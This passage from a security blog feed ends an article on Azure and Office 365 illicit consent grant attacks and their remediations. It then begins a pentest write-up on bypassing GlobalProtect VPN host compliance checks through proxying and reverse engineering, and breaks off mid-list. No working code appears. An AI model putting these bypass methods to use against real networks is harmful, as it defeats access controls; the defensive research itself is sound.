<p style="text-align: justify;">In response to this threat, <strong>Microsoft implemented</strong> additional protections <strong>in November 2020</strong> to limit the impact of this type of attack. The &#8220;<strong>risk-based consent step-up</strong>&#8221; feature aims to <strong>raise a warning</strong> and ask for <strong>an administrator&#8217;s validation</strong> in case of a permission <strong>request that seems fraudulent</strong>.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20147 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imageter.png" alt="" width="397" height="412" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imageter.png 397w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imageter-184x191.png 184w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imageter-38x39.png 38w" sizes="auto, (max-width: 397px) 100vw, 397px" /></p>
<p style="text-align: center;"><em>The access request from an unverified application considered sensitive is blocked by default</em></p>
<p style="text-align: justify;">This applies in the case of a <strong>permission request by an unverified application created outside the targeted tenant</strong>. By default, all permissions are affected, except for reading the target user&#8217;s profile, to facilitate single sign-on (SSO) with third-party applications.</p>
<p style="text-align: justify;">This restriction is <strong>implemented by default </strong>on all Azure tenants.</p>
<p style="text-align: justify;">Although these <strong>restrictions limit attacks</strong>, 3 types of applications <strong>can still be used for malicious purposes:</strong> legacy applications, applications internal to the targeted tenant and verified applications.</p>
<ul style="text-align: justify;">
<li><strong>Legacy applications:</strong>
<ul>
<li>To allow for <strong>backward compatibility, no warning message is displayed </strong>for a permission request from an <strong>application created before November 2020</strong>.</li>
<li><em>Prerequisite for the attacker:</em> have an <strong>application created on an Azure tenant before November 2020</strong> or compromise a tenant containing such applications.</li>
</ul>
</li>
<li><strong>Internal applications of the targeted tenant:</strong>
<ul>
<li>These applications <strong>are not covered by the &#8220;risk-based consent step-up&#8221;</strong><em>. </em>By default, all users of an Azure tenant have the right to <strong>create an enterprise application on their tenant, which </strong>makes it easier to attack an unhardened environment.</li>
<li><em>Prerequisites for the attacker:</em> to have a first compromised account on the IS of the targeted company, to realize that the creation of applications is authorized for standard users and to <strong>deploy an internal application to the tenant.</strong></li>
</ul>
</li>
<li><strong>Verified applications:</strong>
<ul>
<li>Verified applications are not covered by the risk-based consent step-up. The Microsoft verification process requires integration into the Microsoft Partner Network.</li>
<li><em>Prerequisite for the attacker</em>: have a <strong>verified application</strong> or <strong>compromise an Azure tenant with verified applications</strong> and hijack the use of these legitimate applications.</li>
</ul>
</li>
</ul>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Possible remediations</h1>
<p style="text-align: justify;">To limit the probability and impact of such attacks, the following recommendations can be <strong>applied and adapted to the company&#8217;s context:</strong></p>
<ul style="text-align: justify;">
<li>Allow <strong>only applications explicitly approved by administrators</strong>. This configuration is the most secure, but the validation step can be a bottleneck since it is usually the Global Administrators and Privileged Role Administrators who must give validation. In practice, some rights can also be granted via Cloud Application Administrators or Application Administrators.</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20150 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagequa.png" alt="" width="1392" height="522" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagequa.png 1392w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagequa-437x164.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagequa-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagequa-768x288.png 768w" sizes="auto, (max-width: 1392px) 100vw, 1392px" /></p>
<p style="text-align: center;"><em>Granting privilege consent by standard users can be blocked via Azure AD configurations</em></p>
<ul style="text-align: justify;">
<li><strong>Limit the permissions which can be granted.</strong> An administrator can specify Low-risk permissions that can be granted directly by users.</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20152 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagecin.png" alt="" width="949" height="361" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagecin.png 949w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagecin-437x166.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagecin-71x27.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagecin-768x292.png 768w" sizes="auto, (max-width: 949px) 100vw, 949px" /></p>
<p style="text-align: center;"><em>Granting privilege consent by standard users can be limited to rights considered non-sensitive via Azure AD configurations</em></p>
<ul style="text-align: justify;">
<li>Create a <strong>legitimate application validation process and admin consent workflow to track and justify these validations</strong>. By tightening up the consent process, it is necessary to jointly implement a simple and intuitive way for users to request exceptions to grant permissions related to legitimate use cases. These exceptions must be tracked and justified to ensure the legitimacy of the requests.</li>
<li><strong>Regularly review the rights granted to applications </strong>(Enterprise applications): permissions granted by users should be reviewed to ensure that only legitimate applications have rights to the tenant&#8217;s Office 365 resources.</li>
</ul>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-20154 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagesext.png" alt="" width="1392" height="389" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagesext.png 1392w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagesext-437x122.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagesext-71x20.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/03/Imagesext-768x215.png 768w" sizes="auto, (max-width: 1392px) 100vw, 1392px" /></p>
<p style="text-align: center;"><em>Regular review of trusted applications on an Azure tenant facilitates checking that the privileges granted are still valid</em></p>
<p style="text-align: justify;"> </p>
<ul style="text-align: justify;">
<li>Monitor suspicious access to Office 365 resources. For example, it is possible to set up <strong>alert rules </strong>on the number of files downloaded over a short period of time to identify <strong>data exfiltration attempts</strong>.</li>
<li><strong>Limit access rights to SharePoint files to what is strictly necessary</strong>: files that are accessible to all users within a company should be checked at regular intervals and access rights to the most sensitive files should be reviewed to ensure that only the necessary people have access.</li>
</ul>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Conclusion</h1>
<p style="text-align: justify;">The <strong>various phishing attacks</strong> presented in this article are based on a <strong>lack of hardening of Azure AD configurations</strong>. The implementation of <strong>a second authentication factor</strong>, while necessary for traditional phishing attacks, is not sufficient to protect against the other attacks presented. For attacks via device code authentication, administrators can implement <strong>conditional access policies</strong> to limit suspicious connections from devices not under the control of the organization. For illicit consent grant attacks, the most effective measure is to <strong>only allow applications approved by administrators</strong>.</p>
<p style="text-align: justify;">These <strong>three elements of hardening</strong>, although simple in appearance, can be the subject of <strong>real security projects to consider the existing configurations and usages</strong>, in particular by ensuring that existing applications are not blocked by these measures, and by <strong>implementing</strong> regular review and validation <strong>processes</strong> for new applications.</p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Bibliography</h3>
<p style="text-align: justify;"><a href="https://aadinternals.com/post/phishing/">https://aadinternals.com/post/phishing/</a></p>
<p style="text-align: justify;"><a href="https://jeffreyappel.nl/protect-against-oauth-consent-phishing-attempts-illicit-consent-attack/">https://jeffreyappel.nl/protect-against-oauth-consent-phishing-attempts-illicit-consent-attack/</a></p>
<p style="text-align: justify;"><a href="https://positivethinking.tech/insights/what-is-an-illicit-consent-grant-attack-in-office-365/">https://positivethinking.tech/insights/what-is-an-illicit-consent-grant-attack-in-office-365/</a></p>
<p style="text-align: justify;"><a href="https://docs.microsoft.com/en-us/azure/active-directory/develop/publisher-verification-overview">https://docs.microsoft.com/en-us/azure/active-directory/develop/publisher-verification-overview</a></p>
<p style="text-align: justify;"><a href="https://learn.microsoft.com/en-us/azure/active-directory/manage-apps/user-admin-consent-overview">https://learn.microsoft.com/en-us/azure/active-directory/manage-apps/user-admin-consent-overview</a></p>
<p style="text-align: justify;"><a href="https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-app-consent">https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-app-consent</a></p>
<p style="text-align: justify;"><a href="https://www.microsoft.com/en-us/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/">https://www.microsoft.com/en-us/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/</a></p>
<p style="text-align: justify;"><a href="#_ftnref1" name="_ftn1">[1]</a> https://learn.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-device-code</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/03/illicit-consent-grant-attacks-targeting-azure-and-office-365-still-a-threat/">Illicit consent grant attacks targeting Azure and Office 365: still a threat?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2023/03/illicit-consent-grant-attacks-targeting-azure-and-office-365-still-a-threat/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Bypassing host security checks on a modern VPN solution</title>
		<link>https://www.riskinsight-wavestone.com/en/2023/01/bypassing-host-security-checks-on-a-modern-vpn-solution/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2023/01/bypassing-host-security-checks-on-a-modern-vpn-solution/#respond</comments>
		
		<dc:creator><![CDATA[Jean Marsault]]></dc:creator>
		<pubDate>Tue, 10 Jan 2023 13:53:50 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[process hacking]]></category>
		<category><![CDATA[vpn]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=19355</guid>

					<description><![CDATA[<p>In our last Assume Breach engagement, the client gave us a domain-joined computer and a VPN access telling it was the only option to access the internal domain. Other computers would be able to access to some resources using specific...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2023/01/bypassing-host-security-checks-on-a-modern-vpn-solution/">Bypassing host security checks on a modern VPN solution</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p style="text-align: left;">In our last <strong>Assume Breach</strong> engagement, the client gave us a domain-joined computer and a <strong>VPN</strong> access telling it was the only option to access the internal domain. Other computers would be able to access to some resources using specific protocols but nothing more. This behavior can be challenging as the domain workstation is protected by several security solutions and using offensive tools from it could be risky. Therefore, it was mandatory to remove this restriction to be able to ease the assessment completion.</p>
<p style="text-align: left;">A great part of<strong> pentester</strong>’s job is to bypass the restrictions set up by security tools, this VPN being the perfect exercise for a pentester.</p>
<p style="text-align: left;">This article is not meant to show a fancy <strong>0day</strong>, but to expose the thinking pentesters use when dealing with a black box security tool.</p>
<p style="text-align: left;"><strong>The exploit path presented in this article takes for granted that:</strong></p>
<ul style="text-align: left;">
<li><span style="color: initial;">The attacker already has access to a valid set of user&#8217;s credentials</span></li>
<li><span style="color: initial;">The attacker has managed to get a limited access to a workstation for a limited period of time</span></li>
</ul>
<p style="text-align: left;">Depending on the VPN configuration, this last prerequisite can be optional.</p>
<p style="text-align: left;"> </p>
<h2>Discovering the environment</h2>
<p style="text-align: left;">With access to the computer, the first thing we tried was to extract the VPN client binary and use it on the attack computer.</p>
<p style="text-align: left;">The VPN tested was the <strong>Palo Alto GlobalProtect</strong> solution, and the VPN client can be easily downloaded on Internet. Once the client is installed on the computer, a connection is initialized. The VPN initialized a connection with the VPN portal exposed on Internet and a Microsoft authentication is triggered:</p>
<p style="text-align: center;"><img loading="lazy" decoding="async" class="size-full wp-image-19360 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/01.png" alt="" width="621" height="314" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/01.png 621w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/01-378x191.png 378w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/01-71x36.png 71w" sizes="auto, (max-width: 621px) 100vw, 621px" /></p>
<p style="text-align: left;"><br />The domain credentials worked, and the VPN tunnel was successfully mounted. However, all connections were filtered, and it was not possible to even reach the domain controller as it had initially been hinted by the clients.</p>
<h2 style="text-align: left;"><br />Global Protect Host Information Profile</h2>
<p style="text-align: left;"><strong>Global Protect VPN</strong>, as several other business VPN, allows administrators to define a <strong>host information policy</strong>.</p>
<p style="text-align: left;">This host information policy allows the server to verify that the user computer is compliant with the company’s security policy before allowing access to the company’s internal network.</p>
<p style="text-align: left;">This type of access control can be tuned, and administrators can simply reject any non-compliant devices as well as limit the protocols allowed for the device. For example, a computer that does not comply with the company’s security policy could be restricted to only access a web application exposed in the internal network but not access any other internal resource.</p>
<p style="text-align: left;">The VPN client then collects host information once the user has successfully signed in on the VPN gateway and an update is sent on a regular basis to ensure the computer is still compliant with the company’s security policy.</p>
<p> </p>
<h3 style="text-align: left;">Information collected</h3>
<p style="text-align: left;">Global Protect can collect the following information:</p>
<ul>
<li style="text-align: left;"><strong>General:</strong> Information about the host itself such as hostname, logon domain, OS etc&#8230;</li>
<li style="text-align: left;"><strong>Patch Management:</strong> Information about any patch management software installed on the machine</li>
<li style="text-align: left;"><strong>Firewall:</strong> Information about the firewall software deployed and its status</li>
<li style="text-align: left;"><strong>Anti-malware:</strong> Information about the anti-malware/anti-spyware software deployed and its status</li>
<li style="text-align: left;"><strong>Disk backup:</strong> Information on whether disk backup software is installed and enabled</li>
<li style="text-align: left;"><strong>Disk encryption:</strong> Information on whether disk encryption software is installed as well as which disks are encrypted and what encryption method is used</li>
<li style="text-align: left;"><strong>Data loss prevention:</strong> Information on whether a DLP software is installed and enabled</li>
<li style="text-align: left;"><strong>Certificate check:</strong> Information on the certificates deployed on the computer</li>
<li style="text-align: left;"><strong>Custom checks:</strong> Information on registry keys, user-space application etc&#8230;</li>
</ul>
<p style="text-align: left;">All the information collected can be retrieved on the client GUI:</p>
<p style="text-align: center;"><img loading="lazy" decoding="async" class="size-full wp-image-19362 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/02.png" alt="" width="495" height="476" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/02.png 495w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/02-199x191.png 199w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/02-41x39.png 41w" sizes="auto, (max-width: 495px) 100vw, 495px" /></p>
<p> </p>
<p style="text-align: left;">Thus, if you have access to a machine that can legitimately connect to the VPN, it is possible to retrieve a sample of an allowed host configuration.</p>
<p> </p>
<h2 style="text-align: left;">Hijack the profile</h2>
<p style="text-align: left;">The host profile (that will be <strong>named HIP report</strong> from now) is thus generated by the host and sent to the gateway.</p>
<p style="text-align: left;">The first thick client pentesting rule is: <em>If you generate it, you can tamper it</em>. Thus, instead of modifying the host configuration – which can be painful and require the knowledge of how Global Protect retrieves this information – <strong>it should be possible to tamper the HIP report</strong> sent to the VPN gateway.</p>
<p> </p>
<h3 style="text-align: left;">Go in easy with a proxy</h3>
<p style="text-align: left;">A quick and dirty way to tamper the HIP report is to <strong>intercept the requests and modify the report</strong> sent to the VPN.</p>
<p style="text-align: left;">The VPN client communicates with the VPN gateway using the HTTPS protocol. Therefore, it is only possible to intercept the traffic and modify the content sent if the VPN does not securely check the VPN gateway certificate.</p>
<p style="text-align: left;">In order to intercept the traffic, we need to:</p>
<ol>
<li style="text-align: left;">Configure Burp as a <strong>transparent proxy</strong> and configure the redirection in Burp to forward the request to the VPN gateway<br /><br /><img loading="lazy" decoding="async" class="wp-image-19414 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/03.png" alt="" width="600" height="259" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/03.png 1107w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/03-437x189.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/03-71x31.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/03-768x332.png 768w" sizes="auto, (max-width: 600px) 100vw, 600px" /><br /><em style="color: initial;"><br /></em></li>
<li>Add the Burp certificate to the Windows certificate store</li>
<li>Specify the Burp address as a VPN gateway in GlobalProtect<br /><br /><img loading="lazy" decoding="async" class="size-full wp-image-19366 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/04.png" alt="" width="599" height="191" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/04.png 599w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/04-437x139.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/04-71x23.png 71w" sizes="auto, (max-width: 599px) 100vw, 599px" /></li>
</ol>
<p>From now, when a VPN connection is performed, Burp will be able to intercept the traffic. However, with this technique,<strong> it was not possible to login</strong>:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19368 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/05.png" alt="" width="458" height="206" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/05.png 538w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/05-425x191.png 425w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/05-71x32.png 71w" sizes="auto, (max-width: 458px) 100vw, 458px" /></p>
<p>It was not possible to understand what raised this error, maybe due to some certificate pinning or other security solutions: the easy solution did not yield any positive result.</p>
<p> </p>
<h3>Understand the logic</h3>
<p>The Burp solution out of the way, it appeared mandatory to understand how the VPN works. The first thing done was to <strong>monitor the VPN processes</strong> during the connection to<strong> identify the VPN executables</strong> to target and what their role in the profile generation is.</p>
<p><strong>ProcessHacker</strong> showed several processes implied in the profile generation:</p>
<ul>
<li><em>PanGps.exe</em>: executed as Administrator</li>
<li><em>PanGpa.exe</em></li>
<li><em>PanGpHip.exe</em></li>
<li><em>PanGpHipMp.exe</em></li>
</ul>
<p>Procmon gave a lot of information and showed that the <strong>PanGpHip.exe</strong> and <strong>PanGpHipMp.exe</strong> binaries were launched by the <strong>PanGps.exe</strong> binary:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19370 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/06.png" alt="" width="741" height="150" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/06.png 853w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/06-437x89.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/06-71x14.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/06-768x156.png 768w" sizes="auto, (max-width: 741px) 100vw, 741px" /></p>
<p> </p>
<p>Finally, exploring the Global Protect installation folder showed <strong>several detailed log files</strong>, which have been really helpful during the reverse and debugging process:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19372 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/07.png" alt="" width="253" height="280" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/07.png 226w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/07-173x191.png 173w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/07-35x39.png 35w" sizes="auto, (max-width: 253px) 100vw, 253px" /></p>
<p> </p>
<p>Additionally, during the VPN connection <strong>an XML file is created</strong> and contains the full HIP Report that has been generated during the connection process. However, the creation of this file was not reported in Procmon.</p>
<p style="text-align: left;">In order to ease the exploitation, the report generated on the domain joined machine was retrieved. <strong>Depending on the VPN configuration, part or totality of this report can be guessed but it will complexify the exploitation scenario</strong>.</p>
<p> </p>
<h3 style="text-align: left;">Static approach</h3>
<p style="text-align: left;">The idea was to understand the purpose of each executable and how they were communicating with each other.</p>
<p> </p>
<h4 style="text-align: left;">PanGPA.exe</h4>
<p style="text-align: left;">Killing the PanGPA.exe process showed that it corresponded to the user GUI. Nothing really interesting appeared in this executable.</p>
<p> </p>
<h4 style="text-align: left;">PanGpHip</h4>
<p style="text-align: left;">The PanGpHip.exe binary was the first to be reversed as its name gave hints on its features.<br /><strong>Ghidra</strong> was used to analyze the <em>.rdata </em>section to look at the hardcoded strings. Several strings could help to understand the goal of the binary.</p>
<p style="text-align: left;">For example, the following strings shows that this executable is used to <strong>retrieve the host configuration</strong>:</p>
<p><img loading="lazy" decoding="async" class="wp-image-19374 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/08.png" alt="" width="343" height="341" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/08.png 590w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/08-192x191.png 192w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/08-39x39.png 39w" sizes="auto, (max-width: 343px) 100vw, 343px" /></p>
<p> </p>
<p style="text-align: left;">Likewise, the following string shows that the process write the HIP report:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19376 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/09.png" alt="" width="634" height="89" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/09.png 873w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/09-437x62.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/09-71x10.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/09-768x108.png 768w" sizes="auto, (max-width: 634px) 100vw, 634px" /></p>
<p> </p>
<p style="text-align: left;">Looking at the references for these strings shows, they are part of a C++ object:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19378 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/10.png" alt="" width="640" height="370" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/10.png 740w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/10-330x191.png 330w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/10-67x39.png 67w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/10-120x70.png 120w" sizes="auto, (max-width: 640px) 100vw, 640px" /></p>
<p style="text-align: left;"><br />Indeed, the <em>vftable</em> is a table containing all virtual functions from a C++ object. It can be guessed that all the functions contained in this <em>vftable</em> are used to retrieve some configuration information on the host.</p>
<p style="text-align: left;">After analyzing each virtual method, it is possible to start understanding how the object works:</p>
<p><img loading="lazy" decoding="async" class="wp-image-19380 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/11.png" alt="" width="497" height="400" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/11.png 617w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/11-237x191.png 237w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/11-48x39.png 48w" sizes="auto, (max-width: 497px) 100vw, 497px" /></p>
<p> </p>
<p style="text-align: left;">From now on, it is a known fact that this binary is used to generate the HIP Report. However, the string <em>pan_gp_hrpt.xml</em>, which is the filename of the file containing the Hip Report and written on the disk is not present in the binary. Therefore, there is a <strong>high probability that the XML report it is not written on the disk by this executable</strong>.</p>
<p style="text-align: left;">The first idea was the <em>PanGpHip.exe</em> binary generates the report and forwards it to the <em>PanGPS.exe</em> executable that will write it on the disk as it is the only one executed with <strong>Administrator privileges</strong>, so with enough privileges to write in the Program Files directory.</p>
<p style="text-align: left;">The issue was to ensure that the report generated by the binary was the XML report is actually sent to the VPN gateway and is not an aggregation of binary data that could not be easily modified.</p>
<p style="text-align: left;">In order to avoid reversing several functions, a <strong>dynamic approach</strong> was preferable for this task. The binary is not statistically compiled, and several Win32 Api are used. Using <strong>ApiMonitor</strong> it is possible to spy on the Win32 API calls performed by the binary.</p>
<p style="text-align: left;">ApiMonitor was configured to<strong> intercept every call</strong> performed to the WriteFile Win32 API. At the end of the<em> PanGpHip.exe</em> execution, the full XML report was written in a file:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19382 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/12.jpg" alt="" width="554" height="523" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/12.jpg 630w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/12-202x191.jpg 202w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/12-41x39.jpg 41w" sizes="auto, (max-width: 554px) 100vw, 554px" /></p>
<p> </p>
<p style="text-align: left;">However, it was not possible at this moment to find the file where this content was written on. This point was set aside for a moment to progress on the reversing of the parent binary.</p>
<p> </p>
<h4 style="text-align: left;">PanGPS</h4>
<p style="text-align: left;">We saw earlier through Procmon that<em> PanGPS.exe</em> launches the <em>PanGpHip.exe</em> binary. Through Ghidra, it is possible to search how it is launched. This information is interesting because if a communication is performed among binaries, some <strong>PIPE</strong> or <strong>sockets</strong> should be used to allow the <strong>interprocess communication</strong>, with a high probability that they are created by the parent process.</p>
<p style="text-align: left;">The following code is used to run the <em>PanGpHip.exe</em> process:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19384 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/13.png" alt="" width="689" height="166" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/13.png 785w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/13-437x105.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/13-71x17.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/13-768x185.png 768w" sizes="auto, (max-width: 689px) 100vw, 689px" /></p>
<p style="text-align: left;">The process creation is performed using the Win32API <em>CreateProcess</em>. The <em>StartupInfo</em> object is created with the following code:</p>
<p><img loading="lazy" decoding="async" class="size-full wp-image-19386 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/14.png" alt="" width="620" height="179" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/14.png 620w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/14-437x126.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/14-71x20.png 71w" sizes="auto, (max-width: 620px) 100vw, 620px" /></p>
<p> </p>
<p style="text-align: left;">The <em>stdin</em>, <em>stdout</em> and <em>stderr</em> file are overwritten with custom PIPE created by <em>PanGPS.exe</em> as it is shown in the following figure:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19388 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/15.png" alt="" width="696" height="211" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/15.png 801w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/15-437x133.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/15-71x22.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/15-768x233.png 768w" sizes="auto, (max-width: 696px) 100vw, 696px" /></p>
<p> </p>
<p style="text-align: left;">Thus, through these PIPE objects the <em>PanGpHip.exe</em> process will be able to communicate the Hip Report generated.</p>
<p style="text-align: left;">Using API Monitor this assumption has been verified. The tool was configured to intercept the <em>CreatePipe</em>, <em>ReadFile </em>and <em>WriteFile </em>Win32 API calls. First, it was verified that the <em>PanGPS.exe</em> binary really read the HIP Report:</p>
<p><img loading="lazy" decoding="async" class=" wp-image-19390 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/16.png" alt="" width="493" height="347" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/16.png 614w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/16-271x191.png 271w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/16-55x39.png 55w" sizes="auto, (max-width: 493px) 100vw, 493px" /></p>
<p style="text-align: left;"><br />This API call shows that the XML report is, at a moment, forwarded from <em>PanGpHip.exe</em> to <em>PanGPS.exe</em>. Looking at the parameters used in the ReadFile, the <em>PanGPS.exe</em> binary read the data from the <strong>0x5A0</strong> handle. <br />Looking at the <em>CreatePipe</em> calls, this handle represents the PIPE used as the stdout for the <em>PanGpHip.exe</em> process:</p>
<p><img loading="lazy" decoding="async" class="alignnone size-full wp-image-19392" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/17.jpg" alt="" width="1281" height="317" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/17.jpg 1281w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/17-437x108.jpg 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/17-71x18.jpg 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/17-768x190.jpg 768w" sizes="auto, (max-width: 1281px) 100vw, 1281px" /></p>
<p style="text-align: left;"><br />Likewise, if the <em>WriteFile</em> API call performed by the <em>PanGpHip.exe</em> process is analyzed, the handle that is used will be the one related to the stdout PIPE created by the <em>PanGPS.exe</em> process.<br />The following figure summarizes the interactions between the different components:</p>
<p><img loading="lazy" decoding="async" class="wp-image-19394 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/18.png" alt="" width="535" height="468" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/18.png 708w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/18-218x191.png 218w, https://www.riskinsight-wavestone.com/wp-content/uploads/2023/01/18-45x39.png 45w" sizes="auto, (max-width: 535px) 100vw, 535px" /></p>
<p> </p>
<p style="text-align: left;">With:</p>
<ul>
<li style="text-align: left;"><strong>PanGPS:</strong> the high integrity process that communicates with the VPN gateway</li>
<li style="text-align: left;"><strong>PanGpHip:</strong> the process spawned by PanGPS that generate the compliance report</li>
